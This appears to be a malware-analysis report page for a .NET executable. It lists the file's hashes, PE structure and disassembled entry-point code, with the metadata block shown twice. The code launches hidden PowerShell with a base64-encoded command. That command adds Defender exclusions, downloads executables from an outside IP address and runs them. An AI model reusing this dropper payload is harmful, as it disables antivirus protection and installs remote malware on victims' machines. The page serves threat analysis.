Suspicious
Suspect

427acb97be273133c87adeb7d3d28176

Share on LinkedIn
Print
PE Executable
MD5: 427acb97be273133c87adeb7d3d28176
Size: 9.73 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 427acb97be273133c87adeb7d3d28176
Sha1 4b683a1a8aa55898ce3d527b8c7a0ba441103f90
Sha256 ef248ad8adae87f3218b7a1021e9ce63dfc75c292f7d3a3eece675c221c3f520
Sha384 3c76dd8249bef84148b9b5ae9a25fbe1af7f1ba674d0b31c93657e31ad55d5bb60db786deea6e5cb6ee7d9dfae5781bd
Sha512 c9389c403b36e44a071683300252307ee8d2ee35738245d658bbe9e18aac109d5e32ac5a14dbd3cd1e8c3ec553c8f83de5b775df8e9dbb864916556efb2042ab
SSDeep 192:w2OD9bFqvj+3nNoPb3vNG8BoKaPyvkTYhJlNtUqvtvkbzdNtUqQ6ZapdZ:vOD9QvYNsNlaCkTYNNt/vVkb5Nt/ZZaB
TLSH 8B1259106DEF50DEF32707716BD9B6FB05AAF8B1151E62F870409A848B71AD0C862FB5
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
427acb97be273133c87adeb7d3d28176
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
bio;frt.exe
Full Name
bio;frt.exe
EntryPoint
System.Void crxmabejn.crxmabejn::Main()
Scope Name
bio;frt.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
bio;frt
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
2
Main Method
System.Void crxmabejn.crxmabejn::Main()
Main IL Instruction Count
24
Main IL 
ldc.i4 756
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldstr powershell
stloc.0 <null>
ldstr -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "PAAjAHIAdwBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAwADsAPAAjAGkAdABnACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbQBiAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYwBmAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQBsAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvADEANAA0AC4AMQAyADYALgAxADUAOQAuADEANwAwADoAOQA5ADkAOQAnACwAIAA8ACMAZgBmAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAHkAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAHUAeQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADgAOAA4AC4AZQB4AGUAJwApACkAPAAjAGcAcABpACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvADEANAA0AC4AMQAyADYALgAxADUAOQAuADEANwAwADoAOQA5ADkAOQAnACwAIAA8ACMAeAB3AGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AGEAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAHoAeQBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMAAyADYAMAA5ADEAOQAxADQAMwAyADEANABfAGYAOQA3AGQAMQBhADEAMgBfAFYAQwBMAE0AVQBBAF8AcAByAG8AdABlAGMAdABlAGQALgBlAHgAZQAnACkAKQA8ACMAawBqAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC4AZQB4AGUAJwAsACAAPAAjAGsAYQB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdAB5AHEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYgBrAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQAuAGUAeABlACcAKQApADwAIwBqAGYAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAHYAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBuAHIAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA4ADgAOAAuAGUAeABlACcAKQA8ACMAYQB6AHkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaABwAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAbAB0AGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMgAwADIANgAwADkAMQA5ADEANAAzADIAMQA0AF8AZgA5ADcAZAAxAGEAMQAyAF8AVgBDAEwATQBVAEEAXwBwAHIAbwB0AGUAYwB0AGUAZAAuAGUAeABlACcAKQA8ACMAdQBnAGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBpAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AZQB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUALgBlAHgAZQAnACkAPAAjAGwAdgBhACMAPgA="
stloc.1 <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.2 <null>
ldloc.2 <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
Module Name
bio;frt.exe
Full Name
bio;frt.exe
EntryPoint
System.Void crxmabejn.crxmabejn::Main()
Scope Name
bio;frt.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
bio;frt
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
2
Main Method
System.Void crxmabejn.crxmabejn::Main()
Main IL Instruction Count
24
Main IL 
ldc.i4 756
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldstr powershell
stloc.0 <null>
ldstr -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "PAAjAHIAdwBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAwADsAPAAjAGkAdABnACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbQBiAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYwBmAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQBsAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvADEANAA0AC4AMQAyADYALgAxADUAOQAuADEANwAwADoAOQA5ADkAOQAnACwAIAA8ACMAZgBmAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAHkAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAHUAeQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADgAOAA4AC4AZQB4AGUAJwApACkAPAAjAGcAcABpACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvADEANAA0AC4AMQAyADYALgAxADUAOQAuADEANwAwADoAOQA5ADkAOQAnACwAIAA8ACMAeAB3AGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AGEAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAHoAeQBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMAAyADYAMAA5ADEAOQAxADQAMwAyADEANABfAGYAOQA3AGQAMQBhADEAMgBfAFYAQwBMAE0AVQBBAF8AcAByAG8AdABlAGMAdABlAGQALgBlAHgAZQAnACkAKQA8ACMAawBqAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC4AZQB4AGUAJwAsACAAPAAjAGsAYQB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdAB5AHEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYgBrAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQAuAGUAeABlACcAKQApADwAIwBqAGYAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAHYAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBuAHIAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA4ADgAOAAuAGUAeABlACcAKQA8ACMAYQB6AHkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaABwAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAbAB0AGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMgAwADIANgAwADkAMQA5ADEANAAzADIAMQA0AF8AZgA5ADcAZAAxAGEAMQAyAF8AVgBDAEwATQBVAEEAXwBwAHIAbwB0AGUAYwB0AGUAZAAuAGUAeABlACcAKQA8ACMAdQBnAGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBpAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AZQB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUALgBlAHgAZQAnACkAPAAjAGwAdgBhACMAPgA="
stloc.1 <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.2 <null>
ldloc.2 <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙